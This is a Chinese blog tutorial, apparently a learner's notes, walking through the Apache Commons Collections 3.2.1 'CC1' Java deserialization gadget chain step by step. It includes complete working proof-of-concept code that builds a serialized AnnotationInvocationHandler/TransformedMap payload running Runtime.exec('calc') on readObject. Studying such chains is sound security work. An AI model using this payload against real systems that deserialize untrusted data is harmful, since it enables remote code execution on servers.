赞
踩
根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
cc链是Apache commons collections反序列漏洞利用链的简称。
一般来说,把对象转换为字节系列的过程称为对象的序列化,把字节序列恢复成对象的过程成为对象的反序列化。用户一旦输入不可信数据进行了反序列化操作,那么就有可能触发序列化参数中包含的恶意代码。
ObjectOutputStream 类的 writeObject() 方法可以对参数指定的 obj 对象进行序列化操作, 并将得到的字节序列写到目标输出流中。相反的,ReadObject()方法则是从源输入流中读取字节序列,再将其反序列化为对象并返回。
序列化:对象–>字节 #用于存储,将对象存储到内存中去,需要序列化
反序列化:字节–>对象 #用于展示,将字节取出来进行展示,需要反序列化
ObjectOutputStream:WriteObject()
ObjectInputStream:ReadObject()
这是一段存储一个person的序列化的代码:
public class Person implements Serializable { private int age; private String name; private String sex; public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
public class TestObjSerializeAndDeserialize { public static void main(String[] args) throws IOException, ClassNotFoundException { serializePerson(); Person person = unserializePerson(); System.out.println(MessageFormat.format("name={0},age={1},sex={2}", person.getName(), person.getAge(), person.getSex())); } /** * @description: 序列化person对象 * @param: [] * @return: void * @date: 2023/11/27 13:38 **/ private static void serializePerson() throws IOException { Person person = new Person(); person.setName("tom"); person.setAge(26); person.setSex("男"); ObjectOutputStream objectOutputStream = new ObjectOutputStream( new FileOutputStream(new File("person.txt"))); objectOutputStream.writeObject(person); System.out.println("序列化person对象成功!"); objectOutputStream.close(); } /** * @description: 反序列化person * @param: [] * @return: com.serializable.Person * @date: 2023/11/27 13:41 **/ private static Person unserializePerson() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream( new FileInputStream(new File("person.txt"))); Person person = (Person) objectInputStream.readObject(); System.out.println("反序列化person成功!"); return person; } }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
存储在文本中的内容,即person.txt内容如下:
16进制打开如下:
反序列化漏洞的危害:
- 任意代码执行
- 获取shell
- 对服务器进行破坏
早期受影响的相关z组件件:
WebLogic、WebSphere、JBoss、Jenkins、OpenNMS
jdk:jdk8u65
commons collection:3.2.1
jdk下载:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
源代码下载:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们辉压到当前文件夹下,然后把之前源码包(idk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到sr文件夹中去。打开IDEA,选择文件 —>项目结构 -->SDK —>源路径 —>把src文件夹添加到源路径下,保存即可。
maven直接导入即可,在pom.xml文件中进行依赖导入
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
cc1链中的源头是commons collections库中的transformer接口,这个接口里边有个transform方法。
org.apache.commons.collections.Transformer#transform
通过查看继承层次结构图,我们找到了InvokerTransformer类(当然不止这一个类),在第119行,InvokerTransformer类重写了transform方法,并且该类还继承了Serializable序列化接口。
找到它的构造器和transform方法
//含参构造器,我们在外部调用类时需要用到
//参数为方法名,所调用方法的参数类型,所调用方法的参数值
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的transform方法
//接收一个对象
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
//可控的获取一个完整类的原型
Class cls = input.getClass();
//可控的获取该类的某个特定方法
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//调用该类的方法
//可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点
return method.invoke(input, this.iArgs);
}
//省略.....
}
poc利用图如下:
poc:
package com.transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Transform { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(runtime); } }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
效果如下:
接下来就是一步步回溯,寻找合适的子类,构造漏洞链,找到直接到达重写了readObject的类,完成我们的"万里归途"。
目标:构造利用链,直达重写readObject的类
寻找调用transform()的类的方法
这里直接对这个方法右键查找用法,可以看到有很多都调用了这个方法,那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法:
我们找到该类的构造方法和checkSetValue方法
//接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//接受一个对象类型的参数
//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
由于是protect权限,只能内部类访问,权限不够,往上找,查看是谁具体调用了方法checkSetValue()内部的这个transform(),发现是valueTransformer进行调用,查看valueTransformer,发现valueTransformer也是protect权限,继续查看valueTransformer从哪里来的,最后我们发现decorate()调用TransformedMap()的构造方法来的,所有涉及到的方法,只有decorate的权限修饰符是public
也就是说,我们可以控制decorate()方法内的valueTransformer的值
protected final Transformer valueTransformer;
//类TransformedMap提供该方法给外部进行TransformedMap构造
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer); //调用构造方法
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer; //valueTransformer在这里被赋值
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value); //由valueTransformer进行调用
}
利用思路:
我们可以先调用这个方法,然后实例化这个类,然后再想办法调用checkSetValue方法
decorate()–>installClass(TransformedMa)–>checkSetValue()
这里我们不用原先的InvokerTransformer.transform()方法,由于我们使用的是transformMap的方法,所以先去构建一个HashMap,再通过这个map来调用transformer内的decorate()来完成一个transformedMap的实例化,最后再想办法触发checkSetValue()方法即可
Runtime r=Runtime.*getRuntime*();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//静态方法staic修饰直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.
寻找调用checkSetValue()的方法
前置条件:valueTransformer,已经完成赋值
接下来想办法去触发checkSetValue(),通过一个用法那里直接点进去,看谁对调用这个方法checkSetValue()
这是一个内部类
在MapEntry方法中,Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法。简单来说就是通过通过对setValue()方法的调用来触发checkSetValue()方法
MapEntry类实际上是重写父类AbstractMapEntryDecorator的setValue()方法,以下是父类AbstractMapEntryDecorator的setValue()方法
MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调用checkSetValue()
public class TransformedMapDemo {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value"); //给map一个键值对,方便遍历
//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()) { //遍历Map常用格式
//调用setValue方法,通过setValue去触发checkSetValue()
entry.setValue(runtime);
}
}
}
for(Map.Entry entry:transformedMap.entrySet()) { //遍历Map常用格式 entry.setValue(runtime); }
- 1
- 2
- 3
在这里, transformedMap是经过装饰的 Map对象,具有特殊的行为。通过 entrySet() 方法获取了键值对的集合,然后进行遍历。transformedMap.entrySet()返回的是一个包含 `Map.Entry` 对象的集合,这样就可以遍历 M ap 的键值对。Map.Entry 是一个内部接口,用于表示`Map`中 的键值对,其中可以通过 getKey() 获取键,通过 getValue()获取值。
- 1
对于每个遍历到的键值对,调用了 setValue方法。在普通的Map中,这个方法通常用于修改值。但是在经过 TransformedMap装饰后,setValue方法的行为由装饰器定义。也就是说本来调用的map类中的setValue的方法,但是我们使用的是TransformedMap,TransformedMap装饰了map类中的setValue的方法,所以我们实际调用的MapEntry中的setValue()方法
过程梳理:
首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,
在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,
然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环
追寻setValue,找到readObject()
通过在AbstractInputCheckedMapDecorator中的setValue()查找用法,来确定有哪些方法调用了setValue()方法
(jdk自带的包里面有些文件是反编译的.class文件)所以无法查找,需要去下载相应的源代码文件
rt.jar包下
sun.reflect.annotation.AnnotationInvocationHandler
接下来我们找到该类的构造方法:
//接收两个参数,这个类是 Annotation 接口的子类,或者是直接实现了 Annotation 接口的类
//第二个参数我们可控,可以传入我们之前写的transformedMap类
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
由于memberValues可控,这样我们就可以传入自己需要的,然后实现setValue方法
问题:
我们可以看到定义这个类时,并没有写明public之类的声明,所以说明这个类只能在sun.reflect.annotation这个本包下被调用,我们要想在外部调用,需要用到反射来解决:
以下是粗略的poc代码:
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value"); //给map一个键值对,方便遍历
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 相当于提升自己权限,以便可以访问非公共构造函数
constructor.setAccessible(true);
//这里第一个是参数是注解的类原型,第二个就是我们之前的类
// 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
// 传递Override.class和decorate两个参数给构造函数
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o); //序列化
unserialize("CC1.txt"); //反序列化
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
出错了,没有弹出,这是什么什么问题
解决Runtime没有序列化的问题
可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的
我们怎么获取一个实例化对象呢,这里我们看到在RunTime类中存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:
所以我们用反射:
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class rc=Class.forName("java.lang.Runtime"); //获取类原型 Method getRuntime= rc.getDeclaredMethod("getRuntime",null); //获取getRuntime方法, Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法为无参方法,所以全为null Method exec=rc.getDeclaredMethod("exec", String.class); //获取exec方法 exec.invoke(r,"calc"); //实现命令执行 }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
按照上述思想,那么我们在利用transform()方法实现上述代码
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class runtimeClass = Class.forName("java.lang.Runtime"); //获取原型类 /* Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime", null); Runtime runtime = (Runtime) getRuntime.invoke(null, null); Method exec = runtime.getClass().getDeclaredMethod("exec", String.class); exec.invoke(runtime, "calc");*/ //利用transform方法实现上述代码 //这里模拟获取getRuntime方法,它的具体操作步骤类似之前 Method getRuntime = (Method) new InvokerTransformer( "getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); //这里模拟获取invoke方法 Runtime runtime = (Runtime) new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime); //这里模拟获取exec方法,并进行命令执行 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
看起来是实现了,但是存在一个问题,但是要创建一个个的嵌套参数,很麻烦
于是通过查找commons collection中的Transformer接口中的transform方法(最开始的transform方法)
选中,然后按住ctrl+h快捷键,就能看到该方法的继承关系,其中有一个ChainedTransformer类
使用ChainedTransformer来重新实现,代码如下:
public static void main(String[] args) throws ClassNotFoundException { Class runtimeClass = Class.forName("java.lang.Runtime"); //获取原型类 Transformer[] Transformers=new Transformer[]{ new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。 ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers); chainedTransformer.transform(Runtime.class); }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
两个代码都可以运行
解决setValue()方法无法执行的原因
你以为到这就完成了,其实并没有,不知道你是否发现,代码其实是不完整的,完整的代码如下:
public static void main(String[] args) throws Exception { Class<?> runtime = Class.forName("java.lang.Runtime"); //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历 Transformer[] Transformers=new Transformer[]{ new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。 ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers); // chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap); serialize(object); unserialize("CC1.txt"); } //定义序列化方法 public static void serialize(Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt")); oos.writeObject(object); } //定义反序列化方法 public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
完整的代码是跑不起来的,这就需要我们去解决第二个问题,
由代码我们很清楚的看出来,setValue()方法是在两个if语句下边,也就是说我们要满足两个if语句才能真正去调用我们需要的setValue()方法,这也是我们为什么在阶段三无法弹出计算器的原因之一。
现在要解决setValue()无法执行的问题,原因是memberType的值为空,打断点,调试如下:
原因分析,其实是因为这边给定的参数有问题
由于overRide是空的,没有值,所以我们换一个有值的注解
既然换成有值的话,那么上百年的map.put(0哪里也需要去改成相应的value,代码如下:
解决无法控制setValue值的问题、
虽然有值了,但是传进去的参数会被修改,这不符合我们的目的,断点截图如下:
由于每次给setValue的值都被修改,这不符合我们的期望。于是查找transform()的实现方法,发现存在一个类ConstantTransformer,无论输入什么,它都会返回一个常量
这个类很符合我们的期望,于是我们对此类进行利用,通过此类来完成对setValue的调用。添加相关代码如下,最后成功弹出。
public static void main(String[] args) throws Exception {
Class<?> runtime = Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] Transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(object);
unserialize("CC1.txt");
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
B站up主-白日梦组长
B站大佬的视频讲解的非常的清楚由浅入深,引人入胜,让人回味无穷,建议时间充裕的小伙伴可以去看看,本文只是自己学习cc链的过程的一个记录,并不算是一个真正科普的文章。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。